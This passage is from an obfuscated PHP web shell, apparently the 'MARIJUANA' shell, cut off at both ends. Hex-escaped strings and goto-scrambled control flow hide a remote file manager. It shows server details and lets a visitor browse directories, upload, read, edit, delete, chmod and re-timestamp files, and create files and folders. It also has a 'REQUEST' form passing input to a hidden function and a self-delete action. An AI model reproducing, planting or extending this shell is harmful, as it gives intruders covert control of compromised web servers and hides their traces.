143\x6f\x6e\x2e\x70\156\147\x22\x20\57\x3e\x20\74\154\x69\x6e\153\40\162\x65\x6c\x3d\42\x73\164\171\x6c\x65\163\150\x65\145\x74\42\x20\150\x72\145\x66\x3d\x22\x2f\x2f\x30\170\65\141\64\x35\x35\65\x35\x33\56\147\x69\x74\x68\x75\x62\x2e\x69\x6f\57\x4d\101\122\111\x4a\125\101\x4e\101\x2f\155\141\x69\x6e\x2e\x63\163\x73\42\40\x74\x79\160\145\x3d\x22\164\x65\170\x74\x2f\143\163\163\42\76\x20\74\163\143\x72\x69\x70\x74\x20\x73\162\x63\x3d\x22\57\57\x61\152\141\x78\56\147\x6f\x6f\147\154\x65\141\160\x69\163\56\143\157\x6d\57\x61\x6a\141\170\x2f\154\x69\142\x73\x2f\x6a\x71\165\x65\162\171\57\x33\x2e\x33\x2e\x31\57\152\161\165\145\162\171\x2e\155\x69\156\x2e\x6a\163\x22\76\74\57\163\143\162\151\160\164\x3e\x20\x3c\x73\x63\x72\151\x70\164\40\163\162\143\x3d\x22\x2f\x2f\x63\144\x6e\x6a\163\x2e\x63\x6c\x6f\x75\144\146\x6c\141\x72\x65\56\143\157\x6d\x2f\141\152\141\170\x2f\154\x69\142\x73\x2f\156\157\x74\x69\x66\x79\x2f\60\56\64\x2e\62\x2f\x6e\157\x74\151\146\171\56\x6d\151\x6e\x2e\x6a\x73\42\76\74\x2f\163\143\x72\x69\x70\x74\x3e\x20\x3c\x2f\150\x65\141\144\x3e\40\x3c\x62\x6f\144\x79\x3e\x20\74\150\145\x61\x64\145\x72\76\x20\74\x64\x69\166\40\x63\x6c\141\163\163\x3d\x22\x79\40\x78\42\x3e\x20\74\x61\40\x63\x6c\x61\163\163\x3d\x22\141\x6a\x78\x22\40\150\162\145\146\75\42"; echo basename($_SERVER["\x50\110\120\137\x53\x45\x4c\x46"]); echo "\42\x3e\40\x4d\x41\122\111\x4a\165\x41\116\101\x20\74\57\x61\76\40\x3c\57\144\151\x76\x3e\40\74\x64\151\166\40\x63\154\141\x73\163\x3d\x22\161\x20\x78\x20\x77\x22\x3e\x20\46\x23\x38\62\61\x32\x3b\40\104\111\x4f\x53\40\46\x23\x38\62\61\x32\73\x20\116\x4f\40\46\x23\x38\x32\x31\62\73\x20\103\x52\x45\x41\x20\46\43\x38\x32\x31\62\x3b\x20\x4e\101\x44\101\40\46\x23\70\62\61\62\73\x20\x45\116\x20\46\x23\x38\x32\x31\x32\73\40\126\101\x4e\x4f\x20\46\x23\x38\x32\x31\62\73\x20\74\57\144\x69\x76\76\x20\74\57\x68\145\x61\144\145\162\x3e\40\74\x61\x72\164\151\x63\154\145\76\x20\74\144\x69\166\x20\143\x6c\141\x73\163\75\x22\x69\42\76\x20\74\x69\40\x63\154\x61\x73\x73\x3d\x22\x66\x61\162\x20\x66\141\55\150\144\x64\42\x3e\x3c\57\151\x3e\40"; echo $lELZLL[0](); echo "\x20\x3c\142\x72\x20\57\76\40\x3c\x69\40\x63\154\141\163\x73\75\42\x66\x61\x72\x20\x66\x61\x2d\154\151\147\150\x74\x62\165\154\x62\x22\76\x3c\x2f\x69\x3e\x20\x26\164\x68\x69\x6e\163\x70\73\x26\x74\150\x69\x6e\163\x70\73\74\142\76\x53\x4f\x46\124\x20\72\74\57\142\76\40"; echo $_SERVER["\123\x45\122\x56\105\x52\137\123\117\x46\x54\x57\x41\122\105"]; echo "\x20\74\142\x3e\120\110\x50\x20\72\x3c\57\142\x3e\x20"; echo $lELZLL[1](); echo "\40\74\x62\162\40\57\76\40\74\151\x20\x63\x6c\x61\163\163\x3d\42\146\x61\x72\40\146\141\x2d\146\x6f\154\144\x65\162\x22\76\x3c\x2f\151\76\40"; if (isset($_GET["\x64"])) { goto lyMWZjZ; } $lELZLn = $lELZLL[3](); goto lyMWZjR; lyMWZjZ: $lELZLn = uhex($_GET["\x64"]); $lELZLL[2](uhex($_GET["\144"])); lyMWZjR: $lELZLx = $lELZLL[4]("\57\x28\x5c\134\x7c\x5c\57\x29\57", $lELZLn); foreach ($lELZLx as $lELZLy => $lELZLV) { goto lyMWZjO; lyMWZjE: continue; goto lyMWZWj; lyMWZjD: if (!($lELZLV == '')) { goto lyMWZjy; } goto lyMWZjE; lyMWZjU: lyMWZjx: goto lyMWZjD; lyMWZjq: echo "\74\141\x20\143\x6c\x61\x73\x73\75\x22\141\x6a\x78\x22\x20\150\162\x65\146\x3d\x22\x3f\x64\x3d\x32\146\42\x3e\x2f\74\57\x61\76"; goto lyMWZjU; lyMWZWR: echo "\42\76" . $lELZLV . "\74\57\141\76\57"; goto lyMWZWL; lyMWZWj: lyMWZjy: goto lyMWZWW; lyMWZWZ: for ($lELZLR = 0; $lELZLR <= $lELZLy; $lELZLR++) { echo hex($lELZLx[$lELZLR]); if (!($lELZLR != $lELZLy)) { goto lyMWZjM; } echo "\62\x66"; lyMWZjM: } goto lyMWZWR; lyMWZjO: if (!($lELZLV == '' && $lELZLy == 0)) { goto lyMWZjx; } goto lyMWZjq; lyMWZWW: echo "\74\141\40\143\x6c\x61\x73\163\x3d\x22\141\152\x78\42\40\x68\x72\x65\x66\x3d\42\77\x64\x3d"; goto lyMWZWZ; lyMWZWL: } echo "\40\x3c\x62\162\40\57\76\x20\74\x2f\x64\151\166\x3e\40\x3c\144\151\166\x20\143\x6c\x61\163\x73\x3d\x22\165\x22\x3e\x20"; echo $_SERVER["\123\105\x52\x56\x45\122\137\x41\104\104\122"]; echo "\40\74\151\x20\143\154\141\163\x73\75\x22\x66\x61\163\x20\x66\x61\x2d\x6c\151\x6e\x6b\x22\x3e\x3c\x2f\151\x3e\40\x3c\142\162\40\57\x3e\x20\x3c\x62\x72\40\57\76\x20\74\x66\157\162\x6d\40\x6d\145\164\x68\157\144\75\42\x70\x6f\x73\164\42\x20\x65\156\143\164\x79\160\x65\75\x22\x6d\x75\154\x74\151\x70\141\162\x74\x2f\x66\x6f\x72\x6d\x2d\x64\141\x74\141\x22\76\40\x3c\x6c\141\142\145\x6c\x20\143\154\x61\163\x73\x3d\x22\154\x20\167\x22\x3e\40\x3c\x69\156\x70\165\164\x20\x74\171\x70\x65\x3d\42\x66\151\154\x65\x22\40\156\x61\155\x65\x3d\x22\156\133\x5d\x22\40\x6f\x6e\x63\150\x61\x6e\147\x65\75\x22\x74\x68\x69\163\56\x66\157\162\155\x2e\x73\165\x62\155\151\164\50\51\42\40\155\165\x6c\x74\x69\x70\x6c\145\x3e\x20\x26\156\142\x73\x70\73\x55\x50\x4c\117\x41\104\40\74\x2f\x6c\141\x62\x65\154\x3e\46\156\x62\x73\x70\x3b\x20\x3c\57\x66\157\x72\155\x3e\x20"; $lELZLa = ["\x3c\163\x63\x72\151\x70\164\76\x24\x2e\156\157\x74\x69\x66\171\x28\42", "\x22\x2c\40\x7b\x20\x63\x6c\141\x73\x73\116\141\x6d\145\72\x22\x31\x22\54\x61\x75\164\x6f\110\151\x64\x65\104\x65\x6c\141\x79\x3a\40\62\60\60\x30\54\x70\157\x73\x69\x74\151\157\x6e\72\x22\154\x65\146\x74\x20\142\x6f\x74\x74\x6f\155\42\40\x7d\x29\73\74\57\163\143\x72\151\160\164\x3e"]; $lELZLM = $lELZLa[0] . "\x4f\113\x21" . $lELZLa[1]; $lELZLO = $lELZLa[0] . "\x45\x52\x21" . $lELZLa[1]; if (!isset($_FILES["\x6e"])) { goto lyMWZWa; } $lELZLq = $_FILES["\x6e"]["\156\x61\155\145"]; $lELZLU = count($lELZLq); for ($lELZLR = 0; $lELZLR < $lELZLU; $lELZLR++) { if ($lELZLL[5]($_FILES["\156"]["\x74\x6d\x70\x5f\156\141\155\145"][$lELZLR], $lELZLq[$lELZLR])) { goto lyMWZWy; } echo $lELZLO; goto lyMWZWV; lyMWZWy: echo $lELZLM; lyMWZWV: } lyMWZWa: echo "\40\x3c\57\144\151\166\x3e\40"; $lELZLD = "\74\x74\x61\142\154\145\x20\x63\145\154\154\163\x70\x61\143\x69\x6e\147\75\42\x30\x22\40\x63\145\154\154\x70\141\x64\x64\x69\156\147\75\42\x37\42\40\167\151\x64\x74\x68\75\42\61\60\60\45\x22\76\x20\74\x74\150\145\x61\x64\76\40\x3c\164\x72\x3e\x20\x3c\x74\150\76"; $lELZLE = "\x3c\57\x74\150\76\x20\74\57\164\162\x3e\x20\x3c\57\164\150\145\x61\144\x3e\x20\74\x74\142\x6f\144\171\x3e\40\74\164\x72\x3e\x20\74\x74\144\76\74\57\164\x64\x3e\40\74\57\164\x72\x3e\x20\74\164\162\76\x20\x3c\164\x64\x20\143\154\141\x73\x73\75\42\x78\x22\x3e"; $lELZnj = "\x3c\57\164\x64\x3e\40\x3c\57\164\162\76\40\74\x2f\164\x62\x6f\144\x79\x3e\x20\x3c\57\164\141\x62\154\x65\x3e"; $lELZnW = "\74\x62\x72\x20\x2f\x3e\x20\74\142\x72\x20\57\76\40\x3c\151\x6e\x70\165\x74\x20\164\x79\160\x65\75\x22\163\x75\142\155\x69\164\x22\x20\143\154\141\163\x73\x3d\42\x77\x22\40\166\x61\154\x75\x65\75\x22\46\156\x62\163\x70\73\x4f\x4b\x26\156\142\163\x70\x3b\x22\x20\x2f\76\40\x3c\x2f\x66\157\x72\155\76"; if (isset($_GET["\163"])) { goto lyMWZxL; } if (isset($_GET["\x79"])) { goto lyMWZxn; } if (isset($_GET["\x65"])) { goto lyMWZxx; } if (isset($_GET["\170"])) { goto lyMWZxy; } if (isset($_GET["\164"])) { goto lyMWZxV; } if (isset($_GET["\153"])) { goto lyMWZxa; } if (isset($_GET["\154"])) { goto lyMWZxM; } if (isset($_GET["\161"])) { goto lyMWZxO; } if (isset($_GET["\156"])) { goto lyMWZxq; } if (isset($_GET["\x72"])) { goto lyMWZxU; } if (isset($_GET["\172"])) { goto lyMWZxD; } echo "\x3c\164\141\142\154\145\40\143\x65\154\x6c\163\x70\x61\143\x69\x6e\x67\x3d\x22\60\x22\x20\143\x65\x6c\x6c\160\141\x64\x64\151\156\147\x3d\42\67\42\40\x77\151\144\x74\x68\75\42\x31\60\x30\x25\x22\x3e\40\74\164\x68\x65\141\x64\x3e\x20\x3c\x74\x72\76\x20\74\164\150\x20\167\151\x64\x74\x68\x3d\x22\64\64\45\x22\76\x5b\40\116\x41\115\x45\x20\x5d\74\57\164\150\x3e\x20\74\164\150\40\x77\151\144\x74\x68\75\x22\x31\61\x25\42\76\133\x20\x53\111\x5a\105\40\x5d\74\x2f\164\150\76\40\74\x74\x68\40\x77\151\144\x74\150\75\42\61\x37\45\42\x3e\x5b\40\x50\105\x52\x4d\40\x5d\x3c\57\x74\x68\76\x20\74\164\150\40\x77\x69\144\164\150\x3d\42\61\67\45\42\x3e\133\40\x44\x41\124\105\x20\135\74\x2f\x74\x68\76\40\74\164\150\x20\167\x69\x64\164\150\x3d\x22\61\61\45\x22\76\133\x20\101\x43\x54\40\135\74\x2f\x74\150\76\40\74\x2f\x74\162\x3e\40\74\57\164\150\x65\141\x64\76\40\x3c\164\x62\x6f\x64\171\76\x20\x3c\164\162\x3e\x20\x3c\164\x64\76\x20\74\141\40\x63\154\141\x73\163\x3d\42\x61\152\170\42\40\x68\x72\145\146\x3d\x22\77\144\x3d" . hex($lELZLn) . "\46\x6e\x22\76\x2b\106\x49\114\105\x3c\57\x61\x3e\40\74\x61\x20\143\154\141\x73\163\75\42\141\x6a\x78\42\x20\x68\x72\145\x66\75\x22\x3f\x64\x3d" . hex($lELZLn) . "\x26\154\42\76\53\104\111\x52\x3c\x2f\141\76\40\74\57\x74\144\76\x20\74\57\164\162\x3e\x20"; $lELZna = ''; $lELZnM = ''; $lELZnO = $lELZLL[13]($lELZLn); if (!($lELZLL[28]($lELZnO) || $lELZLL[29]($lELZnO))) { goto lyMWZxZ; } foreach ($lELZnO as $lELZnq) { goto lyMWZLn; lyMWZLn: $lELZnU = $lELZLL[14]("\134", "\x2f", $lELZLn); goto lyMWZLx; lyMWZxj: lyMWZLL: goto lyMWZxW; lyMWZLU: if (!$lELZLL[32]("{$lELZLn}\57{$lELZnq}")) { goto lyMWZLW; } goto lyMWZLD; lyMWZnD: if (!($lELZnq != "\56" && $lELZnq != "\56\56")) { goto lyMWZLL; } goto lyMWZnE; lyMWZnO: lyMWZLZ: goto lyMWZnq; lyMWZnj: lyMWZLj: goto lyMWZnW; lyMWZnq: $lELZxj = round($lELZxj / 1024, 2) . "\40\x4d\102"; goto lyMWZnU; lyMWZnL: $lELZnE = "\x20\150"; goto lyMWZnn; lyMWZnE: $lELZLL[8]("{$lELZLn}\x2f{$lELZnq}") ? $lELZna .= "\x3c\164\x72\x20\x63\154\141\x73\x73\x3d\x22\x72\42\x3e\40\x3c\164\144\76\x20\x3c\151\x20\x63\x6c\x61\x73\x73\x3d\x22\146\141\x72\40\x66\141\55\x66\x6f\x6c\144\x65\162\40\x6d\x22\76\x3c\57\151\76\x20\74\141\40\143\x6c\141\x73\x73\x3d\x22\141\152\x78\42\40\x68\162\145\146\x3d\42\77\x64\75" . hex($lELZnU) . hex("\x2f" . $lELZnq) . "\42\76" . $lELZnq . "\x3c\57\x61\x3e\40\74\57\164\x64\76\40\74\x74\144\40\143\x6c\x61\163\163\x3d\x22\x78\x22\x3e\40\144\151\x72\40\x3c\x2f\164\x64\x3e\x20\x3c\164\144\x20\x63\154\141\163\x73\x3d\42\x78\x22\76\x20\74\141\40\x63\x6c\x61\x73\163\75\x22\141\152\x78" . $lELZnE . "\42\x20\150\162\x65\x66\x3d\x22\77\144\x3d" . hex($lELZnU) . "\x26\153\x3d" . hex($lELZnq) . "\x22\x3e" . x("{$lELZLn}\x2f{$lELZnq}") . "\74\x2f\141\76\x20\74\x2f\x74\x64\76\x20\x3c\x74\144\40\x63\154\x61\163\x73\x3d\x22\x78\42\76\40\x3c\141\x20\143\x6c\141\x73\163\75\x22\141\x6a\170\x22\40\x68\x72\145\146\x3d\x22\77\144\x3d" . hex($lELZnU) . "\46\x74\x3d" . hex($lELZnq) . "\x22\76" . $lELZLL[20]("\131\55\155\x2d\144\40\110\72\x69", $lELZLL[21]("{$lELZLn}\x2f{$lELZnq}")) . "\x3c\57\141\x3e\40\74\57\x74\144\x3e\x20\74\164\144\x20\x63\154\141\163\x73\75\42\x78\x22\76\40\74\x61\40\x63\154\141\x73\x73\x3d\42\x61\152\170\42\40\x68\x72\145\x66\75\42\77\144\75" . hex($lELZnU) . "\46\x72\75" . hex($lELZnq) . "\42\x3e\x52\74\57\x61\76\x20\74\x61\40\x68\162\x65\146\75\42\77\144\x3d" . hex($lELZnU) . "\x26\170\x3d" . hex($lELZnq) . "\42\76\x44\x3c\57\x61\76\40\x3c\57\x74\144\76\x20\74\57\164\x72\x3e\40" : ($lELZnM .= "\x3c\164\x72\40\x63\154\x61\x73\x73\75\x22\x72\42\x3e\x20\x3c\164\144\x3e\40\74\151\40\143\x6c\x61\x73\x73\x3d\42\x66\141\x72\40\x66\x61\55\146\x69\x6c\x65\x20\x6d\x22\x3e\74\x2f\x69\x3e\46\x74\x68\x69\x6e\x73\160\73\x20\x3c\x61\x20\x63\x6c\141\163\x73\75\x22\141\x6a\170\x22\40\x68\162\x65\x66\75\x22\77\144\75" . hex($lELZnU) . "\x26\x73\75" . hex($lELZnq) . "\42\76" . $lELZnq . "\x3c\57\x61\x3e\x20\x3c\x2f\x74\144\x3e\40\x3c\x74\x64\x20\x63\154\x61\x73\163\x3d\42\170\42\x3e\x20" . $lELZxj . "\x20\74\57\x74\x64\x3e\40\74\164\144\x20\x63\x6c\141\x73\x73\75\x22\x78\42\76\x20\74\x61\x20\x63\x6c\x61\x73\x73\x3d\42\x61\x6a\x78" . $lELZnE . "\x22\40\x68\162\x65\146\x3d\x22\77\144\x3d" . hex($lELZnU) . "\46\x6b\x3d" . hex($lELZnq) . "\42\x3e" . x("{$lELZLn}\57{$lELZnq}") . "\x3c\x2f\141\x3e\40\74\57\164\x64\76\x20\74\x74\144\x20\x63\154\141\163\x73\75\42\x78\x22\76\40\x3c\x61\40\x63\x6c\141\x73\163\75\x22\x61\152\x78\42\x20\150\x72\x65\146\x3d\42\x3f\x64\75" . hex($lELZnU) . "\46\x74\x3d" . hex($lELZnq) . "\42\76" . $lELZLL[20]("\x59\55\155\55\x64\40\x48\72\x69", $lELZLL[21]("{$lELZLn}\57{$lELZnq}")) . "\x3c\x2f\141\x3e\40\74\57\x74\144\x3e\40\x3c\x74\x64\x20\x63\154\141\163\x73\75\42\170\x22\76\x20\x3c\x61\40\143\154\x61\x73\163\x3d\42\x61\152\x78\42\x20\150\162\145\x66\x3d\42\x3f\x64\75" . hex($lELZnU) . "\46\162\x3d" . hex($lELZnq) . "\42\76\122\x3c\57\x61\x3e\40\74\x61\40\143\x6c\x61\x73\163\75\x22\141\x6a\170\42\x20\150\x72\x65\146\x3d\42\x3f\x64\75" . hex($lELZnU) . "\x26\145\x3d" . hex($lELZnq) . "\42\x3e\105\x3c\57\x61\x3e\x20\74\x61\x20\150\162\145\146\x3d\42\77\x64\75" . hex($lELZnU) . "\x26\147\x3d" . hex($lELZnq) . "\x22\x3e\x47\x3c\x2f\x61\76\40" . $lELZnD . "\40\x3c\141\40\150\162\145\x66\x3d\x22\77\x64\x3d" . hex($lELZnU) . "\x26\170\75" . hex($lELZnq) . "\x22\x3e\x44\x3c\57\x61\x3e\40\74\57\164\x64\76\x20\74\57\164\162\x3e\x20"); goto lyMWZxj; lyMWZLy: $lELZnD = "\x3c\x61\x20\x68\162\145\x66\x3d\42\77\x64\x3d" . hex($lELZnU) . "\46\x7a\x3d" . hex($lELZnq) . "\x22\76\x55\x3c\x2f\x61\76"; goto lyMWZLV; lyMWZLM: $lELZnD = ''; goto lyMWZLO; lyMWZLE: goto lyMWZRE; goto lyMWZnj; lyMWZLV: goto lyMWZRD; goto lyMWZLa; lyMWZLq: if ($lELZLL[31]("{$lELZLn}\x2f{$lELZnq}")) { goto lyMWZLj; } goto lyMWZLU; lyMWZnx: $lELZxj = $lELZLL[34]("{$lELZLn}\57{$lELZnq}") / 1024; goto lyMWZny; lyMWZLx: if (!$lELZLL[30]($lELZnq, "\56\172\x69\x70")) { goto lyMWZRU; } goto lyMWZLy; lyMWZnM: goto lyMWZLR; goto lyMWZnO; lyMWZnV: if ($lELZxj >= 1024) { goto lyMWZLZ; } goto lyMWZna; lyMWZna: $lELZxj = $lELZxj . "\40\113\x42"; goto lyMWZnM; lyMWZny: $lELZxj = round($lELZxj, 3); goto lyMWZnV; lyMWZnU: lyMWZLR: goto lyMWZnD; lyMWZLO: lyMWZRD: goto lyMWZLq; lyMWZLa: lyMWZRU: goto lyMWZLM; lyMWZnn: lyMWZRE: goto lyMWZnx; lyMWZnW: $lELZnE = ''; goto lyMWZnZ; lyMWZLD: $lELZnE = "\40\x77"; goto lyMWZLE; lyMWZnZ: goto lyMWZRE; goto lyMWZnR; lyMWZnR: lyMWZLW: goto lyMWZnL; lyMWZxW: } lyMWZxZ: echo $lELZna; echo $lELZnM; echo "\x3c\x2f\164\x62\157\144\171\x3e\40\74\164\146\x6f\157\x74\76\40\74\x74\162\x3e\40\74\164\x68\40\x63\154\141\163\163\75\42\145\164\42\76\40\74\141\40\143\x6c\x61\x73\x73\75\x22\141\152\x78\x22\40\x68\x72\145\x66\x3d\42\x3f\x64\x3d" . hex($lELZnU) . "\46\x79\42\x3e\122\x45\x51\125\x45\123\x54\74\57\x61\76\40\x3c\x61\40\150\x72\x65\x66\75\42\77\x64\75" . hex($lELZnU) . "\x26\161\x22\x3e\105\x58\111\x54\74\x2f\x61\x3e\x20\74\57\x74\x68\76\x20\x3c\x74\x68\x20\x63\x6c\141\x73\163\75\42\145\x74\42\x20\167\151\x64\164\150\x3d\42\x31\x31\45\x22\76\x3c\x2f\164\150\x3e\x20\74\164\x68\40\143\154\x61\163\x73\x3d\x22\x65\x74\42\x20\167\x69\x64\x74\150\75\x22\x31\x37\45\x22\76\74\x2f\x74\150\76\40\74\164\x68\x20\x63\x6c\x61\x73\163\75\x22\x65\164\x22\x20\167\151\x64\164\x68\x3d\42\x31\x37\x25\42\76\74\57\164\150\76\40\74\164\150\40\143\x6c\141\163\x73\x3d\x22\x65\164\x22\x20\167\x69\x64\x74\x68\75\42\x31\61\x25\x22\x3e\x3c\x2f\x74\150\x3e\x20\74\57\164\x72\76\x20\x3c\x2f\x74\146\x6f\x6f\164\76\x20\x3c\57\x74\141\142\154\145\76"; goto lyMWZxR; lyMWZxL: echo $lELZLD . uhex($_GET["\x73"]) . $lELZLE . "\40\x3c\164\145\x78\x74\141\162\x65\141\x20\x72\x65\141\144\157\x6e\x6c\x79\x3d\42\x79\x65\x73\x22\x3e" . $lELZLL[15]($lELZLL[6](uhex($_GET["\163"]))) . "\x3c\x2f\164\145\x78\x74\141\x72\x65\x61\76\x20\74\x62\162\x20\x2f\x3e\40\74\x62\x72\40\57\x3e\40\x3c\x69\156\160\165\x74\x20\x6f\156\143\154\x69\x63\153\x3d\x22\154\x6f\143\x61\x74\151\157\x6e\x2e\x68\162\145\146\75\x27\x3f\144\x3d" . $_GET["\144"] . "\46\x65\75" . $_GET["\163"] . "\47\x22\x20\x74\x79\x70\x65\x3d\x22\x73\165\x62\155\x69\164\x22\x20\143\x6c\x61\x73\x73\x3d\42\x77\x22\40\x76\141\x6c\x75\x65\x3d\42\46\x6e\142\163\160\73\105\104\x49\x54\x26\x6e\142\x73\160\x3b\42\x20\x2f\76\40" . $lELZnj; goto lyMWZxR; lyMWZxn: echo $lELZLD . "\122\105\121\x55\105\x53\x54" . $lELZLE . "\x20\x3c\146\157\x72\x6d\40\x6d\145\x74\x68\157\144\x3d\x22\160\x6f\163\164\x22\76\x20\x3c\x69\x6e\160\165\x74\x20\143\x6c\x61\163\163\x3d\x22\x78\x22\40\x74\x79\x70\x65\x3d\42\x74\145\x78\164\42\40\156\141\x6d\x65\x3d\42\61\42\40\57\76\x26\x6e\x62\163\160\73\x26\x6e\142\x73\160\73\x20\x3c\x69\x6e\x70\x75\x74\x20\x63\x6c\x61\163\x73\75\42\170\x22\x20\x74\171\x70\145\75\42\x74\145\x78\164\42\x20\x6e\141\155\x65\x3d\42\62\42\x20\57\76\40" . $lELZnW . "\x20\x3c\142\162\x20\x2f\76\40\x3c\164\x65\170\x74\141\162\145\x61\40\162\x65\x61\144\157\156\154\x79\x3d\42\x79\145\x73\x22\x3e"; if (!isset($_POST["\62"])) { goto lyMWZWM; } echo $lELZLL[15](dre($_POST["\x31"], $_POST["\62"])); lyMWZWM: echo "\74\x2f\x74\x65\170\164\141\162\x65\141\x3e\40" . $lELZnj; goto lyMWZxR; lyMWZxx: echo $lELZLD . uhex($_GET["\x65"]) . $lELZLE . "\x20\x3c\146\157\162\x6d\40\x6d\x65\164\150\x6f\x64\x3d\42\x70\157\x73\x74\x22\x3e\x20\x3c\x74\x65\x78\x74\141\162\145\x61\x20\156\x61\155\x65\x3d\42\145\x22\40\x63\154\141\x73\163\x3d\x22\157\42\76" . $lELZLL[15]($lELZLL[6](uhex($_GET["\145"]))) . "\74\x2f\x74\145\170\164\141\162\x65\141\x3e\x20\74\142\x72\40\x2f\76\40\74\142\x72\x20\x2f\x3e\40\74\163\x70\x61\x6e\40\x63\x6c\141\x73\x73\75\x22\167\42\x3e\102\101\123\105\x36\64\x3c\57\x73\160\141\x6e\76\x20\x3a\x20\74\163\x65\x6c\145\143\x74\40\x69\144\x3d\x22\142\x36\x34\42\x20\x6e\141\x6d\145\75\x22\x62\x36\64\42\x3e\40\x3c\x6f\x70\x74\151\x6f\x6e\40\x76\x61\x6c\x75\145\x3d\x22\x30\x22\x3e\116\117\x3c\57\157\x70\x74\x69\x6f\x6e\76\x20\74\x6f\160\x74\x69\157\x6e\40\x76\141\154\165\x65\75\42\x31\x22\x3e\131\105\123\x3c\57\157\160\x74\151\157\x6e\76\40\x3c\x2f\x73\x65\154\145\143\x74\x3e\40" . $lELZnW . "\40" . $lELZnj . "\40\x3c\x73\x63\162\151\160\164\76\x20\x24\x28\42\x23\142\66\64\42\51\x2e\x63\150\x61\156\x67\145\50\146\x75\x6e\x63\164\x69\x6f\156\x28\51\x20\173\40\151\146\50\44\50\42\x23\142\x36\x34\40\157\x70\164\x69\157\x6e\72\x73\x65\154\145\143\x74\145\x64\x22\51\56\166\141\154\x28\51\x20\x3d\75\x20\x30\x29\40\x7b\40\x76\x61\162\x20\130\40\75\x20\44\50\x22\164\145\170\164\x61\162\x65\141\42\x29\56\166\x61\x6c\50\x29\x3b\x20\166\x61\x72\x20\x5a\40\x3d\40\141\164\x6f\x62\50\x58\x29\73\40\x24\x28\x22\164\x65\170\164\x61\162\x65\x61\x22\51\x2e\x76\x61\154\x28\x5a\51\x3b\40\175\x20\x65\x6c\163\x65\x20\x7b\x20\166\x61\162\40\116\40\x3d\x20\44\x28\x22\164\x65\x78\x74\141\162\145\141\x22\51\56\166\x61\x6c\x28\x29\73\x20\x76\141\x72\40\111\40\x3d\x20\142\164\x6f\x61\x28\116\x29\x3b\40\x24\50\x22\x74\x65\170\x74\141\x72\145\141\42\51\56\166\x61\x6c\50\x49\x29\73\40\x7d\x20\x7d\x29\73\40\x3c\57\163\x63\x72\x69\160\164\x3e"; if (!isset($_POST["\145"])) { goto lyMWZWE; } if ($_POST["\x62\x36\x34"] == "\x31") { goto lyMWZWO; } $lELZnZ = $_POST["\145"]; goto lyMWZWq; lyMWZWO: $lELZnZ = $lELZLL[7]($_POST["\x65"]); lyMWZWq: $lELZnR = $lELZLL[17](uhex($_GET["\145"]), "\167"); if ($lELZLL[18]($lELZnR, $lELZnZ)) { goto lyMWZWU; } ER(); goto lyMWZWD; lyMWZWU: OK(); lyMWZWD: $lELZLL[19]($lELZnR); lyMWZWE: goto lyMWZxR; lyMWZxy: rec(uhex($_GET["\x78"])); if ($lELZLL[26](uhex($_GET["\x78"]))) { goto lyMWZZj; } OK(); goto lyMWZZW; lyMWZZj: ER(); lyMWZZW: goto lyMWZxR; lyMWZxV: echo $lELZLD . uhex($_GET["\x74"]) . $lELZLE . "\x20\x3c\x66\157\x72\x6d\40\141\x63\164\x69\157\x6e\x3d\42\x22\x20\155\x65\x74\x68\x6f\x64\x3d\42\160\157\163\164\x22\76\40\74\151\156\160\x75\x74\x20\156\x61\x6d\x65\x3d\x22\x74\x22\x20\143\x6c\141\163\163\x3d\x22\170\x22\40\164\x79\x70\x65\75\42\x74\145\170\x74\x22\x20\x76\141\x6c\x75\x65\75\x22" . $lELZLL[20]("\131\55\x6d\55\144\x20\110\72\x69", $lELZLL[21](uhex($_GET["\164"]))) . "\x22\x3e\x20" . $lELZnW . "\x20" . $lELZnj; if (empty($_POST["\164"])) { goto lyMWZZx; } $lELZnL = $lELZLL[33]($_POST["\x74"]); if ($lELZnL) { goto lyMWZZL; } ER(); goto lyMWZZn; lyMWZZL: if (!$lELZLL[25](uhex($_GET["\x74"]), $lELZnL, $lELZnL)) { goto lyMWZZZ; } OK(); goto lyMWZZR; lyMWZZZ: ER(); lyMWZZR: lyMWZZn: lyMWZZx: goto lyMWZxR; lyMWZxa: echo $lELZLD . uhex($_GET["\153"]) . $lELZLE . "\40\x3c\146\157\x72\155\40\x61\x63\x74\x69\x6f\156\x3d\x22\42\x20\x6d\x65\x74\x68\157\144\75\42\160\157\163\164\42\76\x20\x3c\151\156\160\x75\x74\x20\156\141\155\145\x3d\42\142\x22\x20\143\154\x61\163\163\75\x22\170\42\40\x74\171\160\145\x3d\x22\164\145\170\164\42\x20\166\141\x6c\x75\145\x3d\x22" . $lELZLL[22]($lELZLL[23]("\45\x6f", $lELZLL[24](uhex($_GET["\x6b"]))), -4) . "\42\76\40" . $lELZnW . "\40" . $lELZnj; if (empty($_POST["\142"])) { goto lyMWZZO; } $lELZnn = $_POST["\142"]; $lELZnx = 0; for ($lELZLR = strlen($lELZnn) - 1; $lELZLR >= 0; --$lELZLR) { $lELZnx += (int) $lELZnn[$lELZLR] * pow(8, strlen($lELZnn) - $lELZLR - 1); } if (!$lELZLL[12](uhex($_GET["\153"]), $lELZnx)) { goto lyMWZZa; } OK(); goto lyMWZZM; lyMWZZa: ER(); lyMWZZM: lyMWZZO: goto lyMWZxR; lyMWZxM: echo $lELZLD . "\x2b\104\111\122" . $lELZLE . "\40\x3c\x66\157\162\155\40\141\x63\164\x69\x6f\156\75\x22\42\40\155\x65\164\150\x6f\x64\x3d\x22\160\x6f\x73\x74\42\76\40\x3c\x69\x6e\160\165\x74\x20\156\x61\x6d\x65\75\42\154\42\x20\143\154\x61\x73\163\75\x22\x78\42\x20\164\x79\160\x65\75\x22\x74\x65\x78\164\x22\40\x76\x61\154\165\x65\x3d\x22\42\x3e\x20" . $lELZnW . "\40" . $lELZnj; if (!isset($_POST["\x6c"])) { goto lyMWZZD; } if (!$lELZLL[11]($_POST["\154"])) { goto lyMWZZq; } OK(); goto lyMWZZU; lyMWZZq: ER(); lyMWZZU: lyMWZZD: goto lyMWZxR; lyMWZxO: if ($lELZLL[10](__FILE__)) { goto lyMWZZE; } echo $lELZLO; goto lyMWZRj; lyMWZZE: $lELZLL[38]($lELZLL[9]); header("\114\157\x63\141\x74\x69\x6f\156\x3a\x20" . basename($_SERVER["\x50\x48\120\137\x53\x45\x4c\106"]) . ''); exit; lyMWZRj: goto lyMWZxR; lyMWZxq: echo $lELZLD . "\x2b\106\111\114\x45" . $lELZLE . 